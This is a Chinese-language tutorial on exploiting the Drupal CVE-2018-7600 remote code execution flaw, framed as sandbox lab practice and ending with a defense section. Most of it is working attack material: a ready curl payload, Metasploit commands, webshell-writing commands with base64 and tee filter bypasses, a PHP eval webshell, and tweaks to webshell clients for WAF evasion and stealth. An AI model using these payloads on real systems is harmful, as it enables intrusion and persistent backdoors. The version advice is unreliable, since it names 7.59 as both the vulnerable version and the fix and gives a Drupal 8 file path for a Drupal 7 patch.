深入剖析Drupal CVE-2018-7600:从漏洞原理到实战攻防的完整演练

如果你是一位负责企业资产安全评估的工程师,或者是一名对Web应用安全充满好奇的研究者,那么“Drupalgeddon 2”这个代号你一定不会陌生。它指代的正是编号为CVE-2018-7600的Drupal核心远程代码执行漏洞。这个漏洞之所以在安全圈内声名显赫,不仅因为其影响范围覆盖了Drupal 6.x、7.x和8.x几乎所有主流版本,更因为它利用链的精巧和危害的严重性——攻击者无需任何身份认证,即可在目标服务器上执行任意系统命令。

今天,我们不打算仅仅复现一个已知的漏洞利用脚本。我们将一起深入这个漏洞的“心脏”,理解其背后的设计缺陷和触发逻辑,然后在一个完全受控的沙箱环境中,从零开始构建攻击路径。我们会探讨如何绕过常见的防护措施,如何稳定地植入Webshell,以及面对现代PHP环境(如PHP 7.x及以上版本)时,连接工具需要做的那些关键调整。这篇文章的目标,是让你不仅“知其然”,更能“知其所以然”,将一次简单的复现,变成一次深刻的安全原理学习之旅。

1. 漏洞环境搭建与前置知识

在动手之前,搭建一个安全的、隔离的测试环境是首要且必须的步骤。我强烈建议你使用虚拟机或Docker来构建这个环境,绝对不要在公网服务器或任何生产、开发环境中进行测试。

1.1 构建靶场环境

最快捷的方式是使用Docker。这里我们以存在漏洞的Drupal 7.59版本为例,配合一个MySQL数据库。

首先,创建一个docker-compose.yml文件:

version: '3'
services:
  db:
    image: mysql:5.7
    environment:
      MYSQL_ROOT_PASSWORD: rootpassword
      MYSQL_DATABASE: drupal
      MYSQL_USER: drupaluser
      MYSQL_PASSWORD: drupalpass
    volumes:
      - db_data:/var/lib/mysql

  web:
    image: drupal:7.59-apache
    depends_on:
      - db
    ports:
      - "8080:80"
    environment:
      DRUPAL_DB_HOST: db
      DRUPAL_DB_USER: drupaluser
      DRUPAL_DB_PASSWORD: drupalpass
      DRUPAL_DB_NAME: drupal
    volumes:
      - ./html:/var/www/html

然后,在终端执行 docker-compose up -d。稍等片刻,访问 http://localhost:8080,你应该能看到Drupal的安装界面。按照向导完成安装(数据库信息就使用上面yml文件中配置的)。一个标准的、存在漏洞的Drupal实例就准备就绪了。

注意:这个环境仅用于本地学习和研究。请确保它不会暴露在公网IP上。你可以通过防火墙规则或仅在无外网连接的虚拟机中操作来保证安全。

1.2 理解漏洞的根源:Drupal表单渲染机制

CVE-2018-7600的根源在于Drupal对表单API(Form API)中#pre_render、#post_render、#lazy_builder等渲染属性的不安全处理。为了理解攻击载荷,我们需要先简单了解Drupal是如何渲染一个页面的。

Drupal的表单系统非常强大,它允许开发者通过定义一组具有特定属性的数组(称为“渲染数组”)来构建表单。系统在最终将数组转化为HTML之前,会经历一个“渲染”过程。在这个过程中,系统会调用数组中定义的一些回调函数,例如:

  • #pre_render: 在渲染开始前执行的函数。
  • #post_render: 在渲染完成后执行的函数。
  • #lazy_builder: 用于延迟构建复杂元素的函数。

漏洞就出在这里:攻击者可以通过精心构造的请求,向这些回调函数属性中注入本不应被用户控制的函数名,例如PHP的system()、exec()或passthru()。由于Drupal在处理某些特定路径(如用户注册表单的AJAX回调)时,未能对用户输入进行充分的过滤和验证,导致这些恶意函数得以执行。

简单来说,攻击者“欺骗”了Drupal,让它误以为攻击者提交的恶意数据是它自己内部合法的、待执行的渲染回调函数。

2. 漏洞验证与POC深度解析

有了环境和对原理的基本认识,我们现在可以开始动手验证漏洞是否存在。网上流传的POC很多,但知其所以然才能举一反三。

2.1 手动构造验证请求

经典的验证方法是利用用户注册表单的AJAX回调路径。我们使用curl命令来模拟这个攻击过程,这比用Burp Suite抓包修改更利于我们理解每一个参数的意义。

首先,确定目标URL。假设我们的靶场运行在 http://192.168.1.100:8080。

步骤一:探测与准备

访问 /user/register 页面,Drupal会为用户注册表单生成一个唯一的form_id,通常是user_register_form。漏洞利用的关键在于向该表单的AJAX端点发送一个特制的POST请求。

步骤二:构造核心攻击载荷

我们直接构造一个执行 whoami 命令的请求。请将以下命令中的 TARGET_URL 替换为你的靶场地址。

curl -X POST \
  'http://TARGET_URL:8080/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Host: TARGET_URL:8080' \
  -H 'User-Agent: Mozilla/5.0' \
  -H 'Accept: */*' \
  --data-raw 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=whoami'

让我们拆解这个请求的每个关键部分:

参数部分值作用解析
URL路径与参数/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax指定了用户注册表单中邮件字段的AJAX渲染路径。%23value是#value的URL编码,用于指向表单元素的值。
POST数据 form_iduser_register_form告诉Drupal我们要操作的是哪个表单。
POST数据 _drupal_ajax1这是一个标志位,指示这是一个AJAX请求。
恶意载荷 mail[#post_render][]exec这是漏洞利用的核心。我们将mail字段的#post_render属性设置为一个数组,其第一个元素是字符串"exec"。这会让Drupal在渲染完成后调用exec()函数。
恶意载荷 mail[#type]markup将mail字段的类型设置为markup,这是一种可以包含任意标记的类型。
恶意载荷 mail[#markup]whoami这是传递给exec()函数的参数。Drupal会执行exec("whoami")。

步骤三:解读响应

如果目标存在漏洞且利用成功,你会在HTTP响应体中看到命令执行的结果。例如,你可能会看到 www-data 或 apache,这表示Web服务进程的运行用户身份。

提示:如果响应是空的,或者返回了Drupal的错误页面,可能有几个原因:1) 目标Drupal版本已打补丁;2) 路径或参数有误;3) 服务器配置禁用了exec等危险函数。此时可以尝试将exec替换为system或passthru进行测试。

2.2 使用自动化工具验证

对于批量检测或快速验证,可以使用成熟的漏洞扫描器或利用框架。例如,Metasploit框架中就包含了该漏洞的模块。

# 在Metasploit控制台中
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.1.100
set RPORT 8080
set TARGETURI /
exploit

这类工具会自动处理会话、载荷生成等步骤,但对于学习而言,理解其背后的手动操作过程更为重要。

3. 实战渗透:Webshell的写入与高级技巧

验证漏洞存在只是第一步。在实际的安全评估中,我们通常需要获得一个更持久的、交互式的访问通道,也就是写入Webshell。

3.1 绕过过滤写入文件

Drupal的核心代码或一些安全模块可能会过滤输入中的某些特殊字符,比如重定向符号 >。因此,直接使用 echo '<?php ... ?>' > shell.php 可能会失败。我们需要一些技巧。

方法一:使用tee命令 tee命令可以从标准输入读取数据并同时写入文件和标准输出。它不依赖 > 符号。

# 构造写入一句话Webshell的命令
echo '<?php eval($_POST[“cmd”]);?>' | tee /var/www/html/shell.php

对应的curl攻击载荷中,mail[#markup]参数的值就是上面这整条命令。注意,由于命令中包含了空格和特殊字符,在构造POST数据时需要确保它们被正确编码。通常,我们直接在载荷中使用原始命令字符串,curl或Burp Suite会处理编码。

方法二:Base64编码解码 如果目标环境对特殊字符过滤非常严格,可以使用Base64编码绕过。

# 1. 准备Webshell代码并Base64编码
echo -n '<?php eval($_POST[“cmd”]);?>' | base64
# 输出:PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKTs/Pg==

# 2. 构造解码并写入的命令
echo PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKTs/Pg== | base64 -d | tee /var/www/html/shell2.php

将第二步的完整命令作为mail[#markup]的值发送。

3.2 确定Web根目录与权限

写入文件前,必须知道网站的根目录在哪里。常见的路径有:

  • /var/www/html
  • /usr/share/nginx/html
  • /srv/http

我们可以通过执行 find / -name “index.php” 2>/dev/null | head -5 或 ls -la /var/www/ 等命令来寻找。写入后,通过访问 http://TARGET_URL:8080/shell.php 来验证文件是否成功创建且可访问。

注意:写入文件的权限至关重要。如果Web进程(如www-data用户)对目标目录没有写权限,写入会失败。此时可能需要尝试写入临时目录(如/tmp)或利用其他方法进行提权,这超出了本文基础范围。

3.3 连接Webshell与工具适配

成功写入Webshell后,就可以使用客户端进行连接了。

传统中国菜刀(Caidao)的问题与解决 中国菜刀是一款老牌的Webshell管理工具,但其连接PHP WebShell的默认载荷在PHP 7.x及以上版本中会因为assert函数的使用方式变化而失效,导致连接失败。

解决方案是修改菜刀的配置:

  1. 找到菜刀目录下的php配置文件(具体名称因版本而异)。
  2. 将其中的连接代码(通常是一段混淆过的eval或assert调用)进行修改。
  • 旧版载荷(可能失效):
    array_map("ass"."ert",array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('%s'));\");"));
    
  • 修改为(通用性更好):
    eval(base64_decode('%s'));
    

修改后,菜刀会将所有指令先做Base64编码再发送,Webshell端解码后执行,从而兼容PHP 7.x。

现代替代工具推荐 考虑到兼容性和安全性,现在更推荐使用功能更新、更活跃的工具:

  • AntSword (蚁剑): 开源跨平台,插件生态丰富,支持动态编码解码,对PHP 7+支持良好。
  • Cobalt Strike: 在红队评估中,常通过execute-assembly加载类似Sharplander这样的工具来管理Webshell,更加隐蔽。
  • 定制化客户端: 对于高安全环境,安全研究员常会编写简单的Python脚本作为客户端,实现最小化、定制化的交互。

使用蚁剑连接非常简单:新建一个数据,类型选PHP,URL地址填入你的Webshell地址,连接密码填入Webshell中定义的POST参数名(如上面的cmd),编码器通常可以选择default(base64)以绕过一些WAF。

4. 漏洞防御、检测与修复建议

作为一名安全专业人员,复现漏洞的最终目的是为了更好地防御它。

4.1 即时修复方案

对于受影响的Drupal站点,唯一的根治方法是立即升级。

  • Drupal 7.x:升级到 7.59 或更高版本。
  • Drupal 8.4.x:升级到 8.4.8 或更高版本。
  • Drupal 8.3.x:升级到 8.3.9 或更高版本。

Drupal官方在漏洞披露后迅速发布了安全公告和补丁。升级后,务必清除站点的所有缓存(Administration > Configuration > Development > Performance 点击 “Clear all caches”)。

4.2 临时缓解措施

如果因故无法立即升级,可以考虑以下缓解措施,但请注意这些不能替代升级:

  1. 禁用用户注册:如果站点不需要开放注册,可以在 Administration > Configuration > People > Account settings 中,将“Who can register accounts?”设置为“Administrators only”。这可以阻断利用/user/register路径的攻击。
  2. 应用官方提供的补丁文件:对于Drupal 7,官方提供了核心文件的补丁。可以手动下载并替换受影响文件(如core/lib/Drupal/Core/Form/FormBuilder.php等)。但这需要一定的技术能力,且后续升级可能冲突。
  3. Web应用防火墙(WAF)规则:在IPS/WAF(如ModSecurity)上部署规则,拦截包含#post_render、#pre_render、#lazy_builder等敏感参数序列的恶意请求。例如,可以检测mail[#post_render][]这样的模式。

4.3 安全加固与持续监控

  • 最小权限原则:确保Web服务器进程(如www-data)以最低必要权限运行,并限制其对文件系统的写权限,特别是核心目录。
  • 输入验证与过滤:对所有用户输入进行严格的类型检查、长度限制和内容过滤。虽然这是应用层的事,但作为开发者必须牢记。
  • 定期安全扫描:使用诸如Drupal Security Review模块、OWASP ZAP、Nessus等工具对站点进行定期漏洞扫描。
  • 日志审计:密切监控Drupal的watchdog日志和Web服务器(Apache/Nginx)的错误日志与访问日志,寻找可疑的POST请求到/user/register或其他表单处理端点的记录。

CVE-2018-7600是一个教科书级别的远程代码执行漏洞案例,它深刻揭示了现代复杂CMS框架在安全设计上面临的挑战。通过这次从原理到实战的深度剖析,我希望你收获的不仅仅是一个漏洞的利用方法,更是一种对Web应用安全更深层次的思考方式。在实战中,每一个细节都至关重要,从环境搭建的隔离性,到Payload构造的精确性,再到后期连接的兼容性处理,都是成功的关键。安全研究是一条需要不断动手和思考的道路,保持好奇,保持谨慎,才能在攻与防的博弈中不断前行。

更多推荐